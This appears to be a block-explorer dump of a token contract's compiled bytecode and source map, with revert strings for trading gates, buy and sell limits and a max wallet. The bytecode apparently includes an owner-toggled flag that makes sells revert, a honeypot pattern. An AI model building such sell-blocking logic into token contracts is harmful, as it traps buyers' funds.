5b82356114c781611491565b946020939093013593505050565b6000806000606084860312156114ea57600080fd5b83356114f581611491565b9250602084013561150581611491565b929592945050506040919091013590565b6000806040838503121561152957600080fd5b823561153481611491565b91506020830135801515811461154957600080fd5b809150509250929050565b60006020828403121561156657600080fd5b813561113a81611491565b6000806040838503121561158457600080fd5b823561158f81611491565b9150602083013561154981611491565b600181811c908216806115b357607f821691505b6020821081036115d357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105e6576105e66115d9565b818103818111156105e6576105e66115d9565b80820281158282048414176105e6576105e66115d9565b60008261164957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561167657600080fd5b815161113a81611491565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d15784516001600160a01b0316835293830193918301916001016116ac565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d979bad52a0dff888919203db0e5e9b8e5dc9056c7b7f8a2c99ffee8b8abf0ad64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101995760003560e01c80634a62bb65116100e15780638da5cb5b1161008a578063c8c8ebe411610064578063c8c8ebe414610449578063dd62ed3e1461045f578063e2f45605146104a5578063f8b45b05146104bb57600080fd5b80638da5cb5b146103f657806395d89b4114610414578063a9059cbb1461042957600080fd5b806370a08231116100bb57806370a0823114610384578063715018a6146103ba57806375f0a874146103cf57600080fd5b80634a62bb651461032b5780636c5808011461034b5780636ddd17131461036557600080fd5b80632969144811610143578063313ce5671161011d578063313ce567146102d957806347062402146102f557806349bd5a5e1461030b57600080fd5b8063296914481461028e5780632ae2f121146102a35780632b14ca56146102c357600080fd5b80631694505e116101745780631694505e1461021757806318160ddd1461024f57806323b872dd1461026e57600080fd5b806299d386146101a557806306fdde03146101bc578063095ea7b3146101e757600080fd5b366101a057005b600080fd5b3480156101b157600080fd5b506101ba6104d1565b005b3480156101c857600080fd5b506101d1610540565b6040516101de9190611443565b60405180910390f35b3480156101f357600080fd5b506102076102023660046114a9565b6105d2565b60405190151581526020016101de565b34801561022357600080fd5b50600654610237906001600160a01b031681565b6040516001600160a01b0390911681526020016101de565b34801561025b57600080fd5b506002545b6040519081526020016101de565b34801561027a57600080fd5b506102076102893660046114d5565b6105ec565b34801561029a57600080fd5b506101ba610610565b3480156102af57600080fd5b506101ba6102be366004611516565b610635565b3480156102cf57600080fd5b50610260600e5481565b3480156102e557600080fd5b50604051601281526020016101de565b34801561030157600080fd5b50610260600d5481565b34801561031757600080fd5b50600f54610237906001600160a01b031681565b34801561033757600080fd5b506012546102079062010000900460ff1681565b34801561035757600080fd5b506012546102079060ff1681565b34801561037157600080fd5b5060125461020790610100900460ff1681565b34801561039057600080fd5b5061026061039f366004611554565b6001600160a01b031660009081526020819052604090205490565b3480156103c657600080fd5b506101ba610668565b3480156103db57600080fd5b5060125461023790630100000090046001600160a01b031681565b34801561040257600080fd5b506005546001600160a01b0316610237565b34801561042057600080fd5b506101d161067c565b34801561043557600080fd5b506102076104443660046114a9565b61068b565b34801561045557600080fd5b5061026060105481565b34801561046b57600080fd5b5061026061047a366004611571565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156104b157600080fd5b50610260600c5481565b3480156104c757600080fd5b5061026060115481565b6104d9610699565b60125460ff16156105315760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6012805460ff19166001179055565b60606003805461054f9061159f565b80601f016020809104026020016040519081016040528092919081815260200182805461057b9061159f565b80156105c85780601f1061059d576101008083540402835291602001916105c8565b820191906000526020600020905b8154815290600101906020018083116105ab57829003601f168201915b5050505050905090565b6000336105e08185856106f3565b60019150505b92915050565b6000336105fa858285610817565b6106058585856108a9565b506001949350505050565b610618610699565b6012805461ff001981166101009182900460ff1615909102179055565b61063d610699565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b610670610699565b61067a6000611026565b565b60606004805461054f9061159f565b6000336105e08185856108a9565b6005546001600160a01b0316331461067a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610528565b6001600160a01b0383166107555760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610528565b6001600160a01b0382166107b65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610528565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146108a357818110156108965760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610528565b6108a384848484036106f3565b50505050565b6001600160a01b03831661090e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015265323932b9b99760d11b6064820152608401610528565b61deac196001600160a01b038316016109755760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526332b9b99760e11b6064820152608401610528565b600081116109eb5760405162461bcd60e51b815260206004820152603160248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f2e0000000000000000000000000000006064820152608401610528565b6005546001600160a01b03848116911614801590610a1757506005546001600160a01b03838116911614155b8015610a2b57506001600160a01b03821615155b8015610a4257506001600160a01b03821661dead14155b8015610a51575060095460ff16155b15610dcb5760125460ff16610aeb576001600160a01b0383166000908152600a602052604090205460ff1680610a9f57506001600160a01b0382166000908152600a602052604090205460ff165b610aeb5760405162461bcd60e51b815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e000000000000000000006044820152606401610528565b60125462010000900460ff1615610dcb576001600160a01b03831660009081526013602052604090205460ff168015610b3d57506001600160a01b0382166000908152600b602052604090205460ff16155b15610c2a57601054811115610bba5760405162461bcd60e51b815260206004820152603760248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d6178207472616e73616374696f6e20616d6f756e742e0000000000000000006064820152608401610528565b6011546001600160a01b038316600090815260208190526040902054610be090836115ef565b1115610c255760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b6044820152606401610528565b610dcb565b6001600160a01b03821660009081526013602052604090205460ff168015610c6b57506001600160a01b0383166000908152600b602052604090205460ff16155b15610d4057601054811115610ce85760405162461bcd60e51b815260206004820152603860248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d6178207472616e73616374696f6e20616d6f756e742e00000000000000006064820152608401610528565b601254610100900460ff1615610c255760405162461bcd60e51b815260206004820152601a60248201527f5377617020686173206e6f74206265656e20656e61626c65642e0000000000006044820152606401610528565b6001600160a01b0382166000908152600b602052604090205460ff16610dcb576011546001600160a01b038316600090815260208190526040902054610d8690836115ef565b1115610dcb5760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b6044820152606401610528565b600c5430600090815260208190526040902054108015908190610df55750601254610100900460ff165b8015610e04575060095460ff16155b8015610e2957506001600160a01b03841660009081526013602052604090205460ff16155b8015610e4e57506001600160a01b0384166000908152600a602052604090205460ff16155b8015610e7357506001600160a01b0383166000908152600a602052604090205460ff16155b15610e9a576009805460ff19166001179055610e8f6000611085565b6009805460ff191690555b6009546001600160a01b0385166000908152600a602052604090205460ff91821615911680610ee157506001600160a01b0384166000908152600a602052604090205460ff165b15610eea575060005b60008115611013576001600160a01b03851660009081526013602052604090205460ff1680610f3157506001600160a01b03861660009081526013602052604090205460ff165b15610f5957610f566064610f50600d548761112e90919063ffffffff16565b90611141565b90505b6001600160a01b03851660009081526013602052604090205460ff168015610f8357506000600d54115b15610fa957610fa26064610f50600d548761112e90919063ffffffff16565b9050610ff5565b6001600160a01b03861660009081526013602052604090205460ff168015610fd357506000600e54115b15610ff557610ff26064610f50600e548761112e90919063ffffffff16565b90505b80156110065761100686308361114d565b6110108185611602565b93505b61101e86868661114d565b505050505050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b30600090815260208190526040812054908181036110a257505050565b821580156110bc5750600c546110b9906014611615565b82115b156110d257600c546110cf906014611615565b91505b6110db826112f1565b60125460405163010000009091046001600160a01b0316904790600081818185875af1925050503d806000811461101e576040519150601f19603f3d011682016040523d82523d6000602084013e61101e565b600061113a8284611615565b9392505050565b600061113a828461162c565b6001600160a01b0383166111b15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610528565b6001600160a01b0382166112135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610528565b6001600160a01b0383166000908152602081905260409020548181101561128b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610528565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108a3565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113265761132661164e565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190611664565b816001815181106113b6576113b661164e565b6001600160a01b0392831660209182029290920101526006546113dc91309116846106f3565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611415908590600090869030904290600401611681565b600060405180830381600087803b15801561142f57600080fd5b505af115801561101e573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561147057858101830151858201604001528201611454565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a657600080fd5b50565b600080604083850312156114bc57600080fd5b82356114c781611491565b946020939093013593505050565b6000806000606084860312156114ea57600080fd5b83356114f581611491565b9250602084013561150581611491565b929592945050506040919091013590565b6000806040838503121561152957600080fd5b823561153481611491565b91506020830135801515811461154957600080fd5b809150509250929050565b60006020828403121561156657600080fd5b813561113a81611491565b6000806040838503121561158457600080fd5b823561158f81611491565b9150602083013561154981611491565b600181811c908216806115b357607f821691505b6020821081036115d357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105e6576105e66115d9565b818103818111156105e6576105e66115d9565b80820281158282048414176105e6576105e66115d9565b60008261164957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561167657600080fd5b815161113a81611491565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d15784516001600160a01b0316835293830193918301916001016116ac565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d979bad52a0dff888919203db0e5e9b8e5dc9056c7b7f8a2c99ffee8b8abf0ad64736f6c63430008130033

Deployed Bytecode Sourcemap

7889:5695:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12362:140;;;;;;;;;;;;;:::i;:::-;;3958:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4629:201;;;;;;;;;;-1:-1:-1;4629:201:0;;;;;:::i;:::-;;:::i;:::-;;;1211:14:1;;1204:22;1186:41;;1174:2;1159:18;4629:201:0;1046:187:1;7961:41:0;;;;;;;;;;-1:-1:-1;7961:41:0;;;;-1:-1:-1;;;;;7961:41:0;;;;;;-1:-1:-1;;;;;1428:55:1;;;1410:74;;1398:2;1383:18;7961:41:0;1238:252:1;4836:108:0;;;;;;;;;;-1:-1:-1;4924:12:0;;4836:108;;;1641:25:1;;;1629:2;1614:18;4836:108:0;1495:177:1;5085:261:0;;;;;;;;;;-1:-1:-1;5085:261:0;;;;;:::i;:::-;;:::i;12991:90::-;;;;;;;;;;;;;:::i;9927:161::-;;;;;;;;;;-1:-1:-1;9927:161:0;;;;;:::i;:::-;;:::i;8310:22::-;;;;;;;;;;;;;;;;4174:93;;;;;;;;;;-1:-1:-1;4174:93:0;;4257:2;2701:36:1;;2689:2;2674:18;4174:93:0;2559:184:1;8282:21:0;;;;;;;;;;;;;;;;8339:28;;;;;;;;;;-1:-1:-1;8339:28:0;;;;-1:-1:-1;;;;;8339:28:0;;;8625:33;;;;;;;;;;-1:-1:-1;8625:33:0;;;;;;;;;;;8550:30;;;;;;;;;;-1:-1:-1;8550:30:0;;;;;;;;8587:31;;;;;;;;;;-1:-1:-1;8587:31:0;;;;;;;;;;;4950:127;;;;;;;;;;-1:-1:-1;4950:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5051:18:0;5024:7;5051:18;;;;;;;;;;;;4950:127;2363:103;;;;;;;;;;;;;:::i;8665:30::-;;;;;;;;;;-1:-1:-1;8665:30:0;;;;;;;-1:-1:-1;;;;;8665:30:0;;;2128:87;;;;;;;;;;-1:-1:-1;2201:6:0;;-1:-1:-1;;;;;2201:6:0;2128:87;;4064:104;;;;;;;;;;;;;:::i;4273:193::-;;;;;;;;;;-1:-1:-1;4273:193:0;;;;;:::i;:::-;;:::i;8477:35::-;;;;;;;;;;;;;;;;4472:151;;;;;;;;;;-1:-1:-1;4472:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4588:18:0;;;4561:7;4588:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4472:151;8242:33;;;;;;;;;;;;;;;;8519:24;;;;;;;;;;;;;;;;12362:140;2087:13;:11;:13::i;:::-;12424:10:::1;::::0;::::1;;12423:11;12415:47;;;::::0;-1:-1:-1;;;12415:47:0;;3826:2:1;12415:47:0::1;::::0;::::1;3808:21:1::0;3865:2;3845:18;;;3838:30;3904:25;3884:18;;;3877:53;3947:18;;12415:47:0::1;;;;;;;;;12473:10;:17:::0;;-1:-1:-1;;12473:17:0::1;12486:4;12473:17;::::0;;12362:140::o;3958:100::-;4012:13;4045:5;4038:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3958:100;:::o;4629:201::-;4712:4;1798:10;4768:32;1798:10;4784:7;4793:6;4768:8;:32::i;:::-;4818:4;4811:11;;;4629:201;;;;;:::o;5085:261::-;5182:4;1798:10;5240:38;5256:4;1798:10;5271:6;5240:15;:38::i;:::-;5289:27;5299:4;5305:2;5309:6;5289:9;:27::i;:::-;-1:-1:-1;5334:4:0;;5085:261;-1:-1:-1;;;;5085:261:0:o;12991:90::-;2087:13;:11;:13::i;:::-;13062:11:::1;::::0;;-1:-1:-1;;13047:26:0;::::1;13062:11;::::0;;;::::1;;;13061:12;13047:26:::0;;::::1;;::::0;;12991:90::o;9927:161::-;2087:13;:11;:13::i;:::-;-1:-1:-1;;;;;10029:40:0;;;::::1;;::::0;;;:30:::1;:40;::::0;;;;:51;;-1:-1:-1;;10029:51:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9927:161::o;2363:103::-;2087:13;:11;:13::i;:::-;2428:30:::1;2455:1;2428:18;:30::i;:::-;2363:103::o:0;4064:104::-;4120:13;4153:7;4146:14;;;;;:::i;4273:193::-;4352:4;1798:10;4408:28;1798:10;4425:2;4429:6;4408:9;:28::i;2223:132::-;2201:6;;-1:-1:-1;;;;;2201:6:0;1798:10;2287:23;2279:68;;;;-1:-1:-1;;;2279:68:0;;4563:2:1;2279:68:0;;;4545:21:1;;;4582:18;;;4575:30;4641:34;4621:18;;;4614:62;4693:18;;2279:68:0;4361:356:1;6426:344:0;-1:-1:-1;;;;;6528:19:0;;6520:68;;;;-1:-1:-1;;;6520:68:0;;4924:2:1;6520:68:0;;;4906:21:1;4963:2;4943:18;;;4936:30;5002:34;4982:18;;;4975:62;-1:-1:-1;;;5053:18:1;;;5046:34;5097:19;;6520:68:0;4722:400:1;6520:68:0;-1:-1:-1;;;;;6607:21:0;;6599:68;;;;-1:-1:-1;;;6599:68:0;;5329:2:1;6599:68:0;;;5311:21:1;5368:2;5348:18;;;5341:30;5407:34;5387:18;;;5380:62;-1:-1:-1;;;5458:18:1;;;5451:32;5500:19;;6599:68:0;5127:398:1;6599:68:0;-1:-1:-1;;;;;6678:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6730:32;;1641:25:1;;;6730:32:0;;1614:18:1;6730:32:0;;;;;;;6426:344;;;:::o;6776:419::-;-1:-1:-1;;;;;4588:18:0;;;6877:24;4588:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;6944:37:0;;6940:248;;7026:6;7006:16;:26;;6998:68;;;;-1:-1:-1;;;6998:68:0;;5732:2:1;6998:68:0;;;5714:21:1;5771:2;5751:18;;;5744:30;5810:31;5790:18;;;5783:59;5859:18;;6998:68:0;5530:353:1;6998:68:0;7110:51;7119:5;7126:7;7154:6;7135:16;:25;7110:8;:51::i;:::-;6866:329;6776:419;;;:::o;10092:2262::-;-1:-1:-1;;;;;10186:12:0;;10178:63;;;;-1:-1:-1;;;10178:63:0;;6090:2:1;10178:63:0;;;6072:21:1;6129:2;6109:18;;;6102:30;6168:34;6148:18;;;6141:62;-1:-1:-1;;;6219:18:1;;;6212:36;6265:19;;10178:63:0;5888:402:1;10178:63:0;-1:-1:-1;;;;;;;10256:10:0;;;10248:59;;;;-1:-1:-1;;;10248:59:0;;6497:2:1;10248:59:0;;;6479:21:1;6536:2;6516:18;;;6509:30;6575:34;6555:18;;;6548:62;-1:-1:-1;;;6626:18:1;;;6619:34;6670:19;;10248:59:0;6295:400:1;10248:59:0;10331:1;10322:6;:10;10314:72;;;;-1:-1:-1;;;10314:72:0;;6902:2:1;10314:72:0;;;6884:21:1;6941:2;6921:18;;;6914:30;6980:34;6960:18;;;6953:62;7051:19;7031:18;;;7024:47;7088:19;;10314:72:0;6700:413:1;10314:72:0;2201:6;;-1:-1:-1;;;;;10399:15:0;;;2201:6;;10399:15;;;;:32;;-1:-1:-1;2201:6:0;;-1:-1:-1;;;;;10418:13:0;;;2201:6;;10418:13;;10399:32;:46;;;;-1:-1:-1;;;;;;10435:10:0;;;;10399:46;:60;;;;-1:-1:-1;;;;;;10449:10:0;;8414:6;10449:10;;10399:60;:73;;;;-1:-1:-1;10464:8:0;;;;10463:9;10399:73;10395:976;;;10490:10;;;;10485:129;;-1:-1:-1;;;;;10525:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;10553:22:0;;;;;;:18;:22;;;;;;;;10525:50;10517:85;;;;-1:-1:-1;;;10517:85:0;;7320:2:1;10517:85:0;;;7302:21:1;7359:2;7339:18;;;7332:30;7398:24;7378:18;;;7371:52;7440:18;;10517:85:0;7118:346:1;10517:85:0;10630:14;;;;;;;10626:738;;;-1:-1:-1;;;;;10665:11:0;;;;;;:5;:11;;;;;;;;:50;;;;-1:-1:-1;;;;;;10681:34:0;;;;;;:30;:34;;;;;;;;10680:35;10665:50;10661:692;;;10754:20;;10744:6;:30;;10736:98;;;;-1:-1:-1;;;10736:98:0;;7671:2:1;10736:98:0;;;7653:21:1;7710:2;7690:18;;;7683:30;7749:34;7729:18;;;7722:62;7820:25;7800:18;;;7793:53;7863:19;;10736:98:0;7469:419:1;10736:98:0;10887:9;;-1:-1:-1;;;;;5051:18:0;;5024:7;5051:18;;;;;;;;;;;10861:22;;:6;:22;:::i;:::-;:35;;10853:68;;;;-1:-1:-1;;;10853:68:0;;8357:2:1;10853:68:0;;;8339:21:1;8396:2;8376:18;;;8369:30;-1:-1:-1;;;8415:18:1;;;8408:50;8475:18;;10853:68:0;8155:344:1;10853:68:0;10661:692;;;-1:-1:-1;;;;;10947:9:0;;;;;;:5;:9;;;;;;;;:50;;;;-1:-1:-1;;;;;;10961:36:0;;;;;;:30;:36;;;;;;;;10960:37;10947:50;10943:410;;;11036:20;;11026:6;:30;;11018:99;;;;-1:-1:-1;;;11018:99:0;;8706:2:1;11018:99:0;;;8688:21:1;8745:2;8725:18;;;8718:30;8784:34;8764:18;;;8757:62;8855:26;8835:18;;;8828:54;8899:19;;11018:99:0;8504:420:1;11018:99:0;11145:11;;;;;;;11144:12;11136:51;;;;-1:-1:-1;;;11136:51:0;;9131:2:1;11136:51:0;;;9113:21:1;9170:2;9150:18;;;9143:30;9209:28;9189:18;;;9182:56;9255:18;;11136:51:0;8929:350:1;10943:410:0;-1:-1:-1;;;;;11214:34:0;;;;;;:30;:34;;;;;;;;11209:144;;11303:9;;-1:-1:-1;;;;;5051:18:0;;5024:7;5051:18;;;;;;;;;;;11277:22;;:6;:22;:::i;:::-;:35;;11269:68;;;;-1:-1:-1;;;11269:68:0;;8357:2:1;11269:68:0;;;8339:21:1;8396:2;8376:18;;;8369:30;-1:-1:-1;;;8415:18:1;;;8408:50;8475:18;;11269:68:0;8155:344:1;11269:68:0;11422:18;;11412:4;11379:12;5051:18;;;;;;;;;;;-1:-1:-1;11394:46:0;;;;;11461:31;;-1:-1:-1;11481:11:0;;;;;;;11461:31;:53;;;;-1:-1:-1;11506:8:0;;;;11505:9;11461:53;:78;;;;-1:-1:-1;;;;;;11528:11:0;;;;;;:5;:11;;;;;;;;11527:12;11461:78;:116;;;;-1:-1:-1;;;;;;11553:24:0;;;;;;:18;:24;;;;;;;;11552:25;11461:116;:152;;;;-1:-1:-1;;;;;;11591:22:0;;;;;;:18;:22;;;;;;;;11590:23;11461:152;11447:261;;;11632:8;:15;;-1:-1:-1;;11632:15:0;11643:4;11632:15;;;11658;11632:8;11658;:15::i;:::-;11684:8;:16;;-1:-1:-1;;11684:16:0;;;11447:261;11732:8;;-1:-1:-1;;;;;11753:24:0;;11716:12;11753:24;;;:18;:24;;;;;;11732:8;;;;11731:9;;11753:24;;:50;;-1:-1:-1;;;;;;11781:22:0;;;;;;:18;:22;;;;;;;;11753:50;11749:90;;;-1:-1:-1;11826:5:0;11749:90;11847:12;11874:7;11870:441;;;-1:-1:-1;;;;;11897:9:0;;;;;;:5;:9;;;;;;;;;:24;;-1:-1:-1;;;;;;11910:11:0;;;;;;:5;:11;;;;;;;;11897:24;11894:90;;;11945:27;11968:3;11945:18;11956:6;;11945;:10;;:18;;;;:::i;:::-;:22;;:27::i;:::-;11938:34;;11894:90;-1:-1:-1;;;;;11998:9:0;;;;;;:5;:9;;;;;;;;:23;;;;;12020:1;12011:6;;:10;11998:23;11994:190;;;12045:27;12068:3;12045:18;12056:6;;12045;:10;;:18;;;;:::i;:27::-;12038:34;;11994:190;;;-1:-1:-1;;;;;12094:11:0;;;;;;:5;:11;;;;;;;;:26;;;;;12119:1;12109:7;;:11;12094:26;12090:94;;;12144:28;12168:3;12144:19;12155:7;;12144:6;:10;;:19;;;;:::i;:28::-;12137:35;;12090:94;12200:8;;12196:83;;12225:42;12241:4;12255;12262;12225:15;:42::i;:::-;12289:14;12299:4;12289:14;;:::i;:::-;;;11870:441;12317:33;12333:4;12339:2;12343:6;12317:15;:33::i;:::-;10171:2183;;;10092:2262;;;:::o;2474:191::-;2567:6;;;-1:-1:-1;;;;;2584:17:0;;;-1:-1:-1;;2584:17:0;;;;;;;2617:40;;2567:6;;;2584:17;2567:6;;2617:40;;2548:16;;2617:40;2537:128;2474:191;:::o;13089:492::-;13188:4;13144:23;5051:18;;;;;;;;;;;;13234:20;;;13230:59;;13271:7;;13089:492;:::o;13230:59::-;13305:20;;;;:65;;-1:-1:-1;13347:18:0;;:23;;13368:2;13347:23;:::i;:::-;13329:15;:41;13305:65;13301:139;;;13405:18;;:23;;13426:2;13405:23;:::i;:::-;13387:41;;13301:139;13452:33;13469:15;13452:16;:33::i;:::-;13518:15;;13510:63;;13518:15;;;;-1:-1:-1;;;;;13518:15:0;;13547:21;;13510:63;;;;13547:21;13518:15;13510:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1432:82;1490:7;1507:5;1511:1;1507;:5;:::i;:::-;1500:12;1432:82;-1:-1:-1;;;1432:82:0:o;1520:::-;1578:7;1595:5;1599:1;1595;:5;:::i;5352:633::-;-1:-1:-1;;;;;5449:18:0;;5441:68;;;;-1:-1:-1;;;5441:68:0;;10224:2:1;5441:68:0;;;10206:21:1;10263:2;10243:18;;;10236:30;10302:34;10282:18;;;10275:62;-1:-1:-1;;;10353:18:1;;;10346:35;10398:19;;5441:68:0;10022:401:1;5441:68:0;-1:-1:-1;;;;;5528:16:0;;5520:64;;;;-1:-1:-1;;;5520:64:0;;10630:2:1;5520:64:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:34;10688:18;;;10681:62;-1:-1:-1;;;10759:18:1;;;10752:33;10802:19;;5520:64:0;10428:399:1;5520:64:0;-1:-1:-1;;;;;5666:15:0;;5644:19;5666:15;;;;;;;;;;;5700:21;;;;5692:72;;;;-1:-1:-1;;;5692:72:0;;11034:2:1;5692:72:0;;;11016:21:1;11073:2;11053:18;;;11046:30;11112:34;11092:18;;;11085:62;-1:-1:-1;;;11163:18:1;;;11156:36;11209:19;;5692:72:0;10832:402:1;5692:72:0;-1:-1:-1;;;;;5800:15:0;;;:9;:15;;;;;;;;;;;5818:20;;;5800:38;;5853:13;;;;;;;;;;:23;;;;;;5903:26;;1641:25:1;;;5853:13:0;;5903:26;;1614:18:1;5903:26:0;;;;;;;5940:37;7201:91;12510:473;12600:16;;;12614:1;12600:16;;;;;;;;12576:21;;12600:16;;;;;;;;;;-1:-1:-1;12600:16:0;12576:40;;12645:4;12627;12632:1;12627:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12627:23:0;;;:7;;;;;;;;;;:23;;;;12671:15;;:22;;;-1:-1:-1;;;12671:22:0;;;;:15;;;;;:20;;:22;;;;;12627:7;;12671:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12661:4;12666:1;12661:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12661:32:0;;;:7;;;;;;;;;:32;12738:15;;12706:62;;12723:4;;12738:15;12756:11;12706:8;:62::i;:::-;12779:15;;:196;;-1:-1:-1;;;12779:196:0;;-1:-1:-1;;;;;12779:15:0;;;;:66;;:196;;12860:11;;12779:15;;12902:4;;12929;;12949:15;;12779:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:154::-;-1:-1:-1;;;;;646:5:1;642:54;635:5;632:65;622:93;;711:1;708;701:12;622:93;567:154;:::o;726:315::-;794:6;802;855:2;843:9;834:7;830:23;826:32;823:52;;;871:1;868;861:12;823:52;910:9;897:23;929:31;954:5;929:31;:::i;:::-;979:5;1031:2;1016:18;;;;1003:32;;-1:-1:-1;;;726:315:1:o;1677:456::-;1754:6;1762;1770;1823:2;1811:9;1802:7;1798:23;1794:32;1791:52;;;1839:1;1836;1829:12;1791:52;1878:9;1865:23;1897:31;1922:5;1897:31;:::i;:::-;1947:5;-1:-1:-1;2004:2:1;1989:18;;1976:32;2017:33;1976:32;2017:33;:::i;:::-;1677:456;;2069:7;;-1:-1:-1;;;2123:2:1;2108:18;;;;2095:32;;1677:456::o;2138:416::-;2203:6;2211;2264:2;2252:9;2243:7;2239:23;2235:32;2232:52;;;2280:1;2277;2270:12;2232:52;2319:9;2306:23;2338:31;2363:5;2338:31;:::i;:::-;2388:5;-1:-1:-1;2445:2:1;2430:18;;2417:32;2487:15;;2480:23;2468:36;;2458:64;;2518:1;2515;2508:12;2458:64;2541:7;2531:17;;;2138:416;;;;;:::o;2979:247::-;3038:6;3091:2;3079:9;3070:7;3066:23;3062:32;3059:52;;;3107:1;3104;3097:12;3059:52;3146:9;3133:23;3165:31;3190:5;3165:31;:::i;3231:388::-;3299:6;3307;3360:2;3348:9;3339:7;3335:23;3331:32;3328:52;;;3376:1;3373;3366:12;3328:52;3415:9;3402:23;3434:31;3459:5;3434:31;:::i;:::-;3484:5;-1:-1:-1;3541:2:1;3526:18;;3513:32;3554:33;3513:32;3554:33;:::i;3976:380::-;4055:1;4051:12;;;;4098;;;4119:61;;4173:4;4165:6;4161:17;4151:27;;4119:61;4226:2;4218:6;4215:14;4195:18;4192:38;4189:161;;4272:10;4267:3;4263:20;4260:1;4253:31;4307:4;4304:1;4297:15;4335:4;4332:1;4325:15;4189:161;;3976:380;;;:::o;7893:127::-;7954:10;7949:3;7945:20;7942:1;7935:31;7985:4;7982:1;7975:15;8009:4;8006:1;7999:15;8025:125;8090:9;;;8111:10;;;8108:36;;;8124:18;;:::i;9284:128::-;9351:9;;;9372:11;;;9369:37;;;